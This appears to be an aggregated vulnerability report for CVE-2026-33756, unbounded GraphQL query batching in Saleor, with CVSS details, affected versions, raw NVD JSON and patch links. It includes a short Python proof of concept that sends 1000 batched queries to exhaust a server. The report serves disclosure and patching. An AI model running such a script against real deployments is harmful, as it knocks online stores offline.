Security Vulnerability Report
中文
CVE-2026-33756 CVSS 7.5 HIGH

CVE-2026-33756

Published: 2026-04-08 18:26:01
Last Modified: 2026-04-20 20:04:44

Description

Saleor is an e-commerce platform. From 2.0.0 to before 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118, Saleor supports query batching by submitting multiple GraphQL operations in a single HTTP request as a JSON array but wasn't enforcing any upper limit on the number of operations. This allowed an unauthenticated attacker to send a single HTTP request many operations (bypassing the per query complexity limit) to exhaust resources. This vulnerability is fixed in 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:3.23.0:alpha0:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:3.23.0:alpha1:*:*:*:*:*:* - VULNERABLE
Saleor 2.0.0 至 3.23.0a3 之前
Saleor 3.22.47 之前
Saleor 3.21.54 之前
Saleor 3.20.118 之前

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # Target URL (Replace with actual target) target_url = "http://localhost:8000/graphql/" # Create a batch of 1000 queries to exhaust resources # This exploits the lack of limit on query batching payload = [ {"query": "{ __typename }", "variables": {}} for _ in range(1000) ] headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, headers=headers, data=json.dumps(payload), timeout=10) print(f"Status Code: {response.status_code}") if response.status_code == 200: print("Attack potentially successful, check server resource usage.") else: print(response.text) except Exception as e: print(f"Request failed or server timed out: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33756", "sourceIdentifier": "[email protected]", "published": "2026-04-08T18:26:00.700", "lastModified": "2026-04-20T20:04:43.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saleor is an e-commerce platform. From 2.0.0 to before 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118, Saleor supports query batching by submitting multiple GraphQL operations in a single HTTP request as a JSON array but wasn't enforcing any upper limit on the number of operations. This allowed an unauthenticated attacker to send a single HTTP request many operations (bypassing the per query complexity limit) to exhaust resources. This vulnerability is fixed in 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "3.20.118", "matchCriteriaId": "1B4A5EA6-A42E-41BA-9A75-20C9FF65EE98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.21.0", "versionEndExcluding": "3.21.54", "matchCriteriaId": "2312AF3F-A049-4E4B-AAEF-21D7B5463A3A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.22.0", "versionEndExcluding": "3.22.47", "matchCriteriaId": "ABB6E342-967D-4F4D-9869-BC24C630ACEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha0:*:*:*:*:*:*", "matchCriteriaId": "086CBDFF-B1C4-4AD4-9F39-00B028E29338"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "404B7EE8-9CE0-4B8D-B0B7-2DF60F355E72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "6DD7D745-F558-4CBE-9110-2F7DCBCF4D2F"}]}]}], "references": [{"url": "https://github.com/saleor/saleor/commit/7be352fa8c35875d6e66d36493ca7c14c101bd64", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/cdb66da97abb7c86939e384914cd8d9194f378e8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/d6a94e95bd77f3f733fa66afd1b1ac72e863ca2a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/e42aa4d6e588982e78942b033af051c8ec8f43fa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/f0371bdd4cafcc841f1a9e7049cead6133bf7464", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/security/advisories/GHSA-24jw-f244-qfpp", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}